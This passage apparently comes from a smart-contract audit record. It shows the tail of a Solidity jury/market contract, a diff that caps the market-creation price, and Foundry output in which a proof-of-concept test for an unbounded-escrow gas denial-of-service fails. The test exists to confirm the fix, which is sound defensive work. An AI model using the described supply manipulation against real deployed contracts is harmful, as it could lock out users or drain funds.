                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
-    function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
+    function _getCurrentCreateMarketPrice() private view returns (uint256) {
+        uint256 _supplyPrice = totalSupply_ / 100;
+        if (_supplyPrice < 5) return 5;
+        return _supplyPrice > MAX_CREATE_MARKET_TOKENS ? MAX_CREATE_MARKET_TOKENS : _supplyPrice;
+    }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • src/CloudedJury.sol
  • CloudedJury.sol

Validation output

[output truncated: 1177 lines & 64.5087890625 KB skipped]
Ran 1 test suite in 27.18ms (26.24ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: attacker-controlled supply raised required creator escrow: 10 != 20] test_unboundedCreatorEscrowGasDoS() (gas: 142384634)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger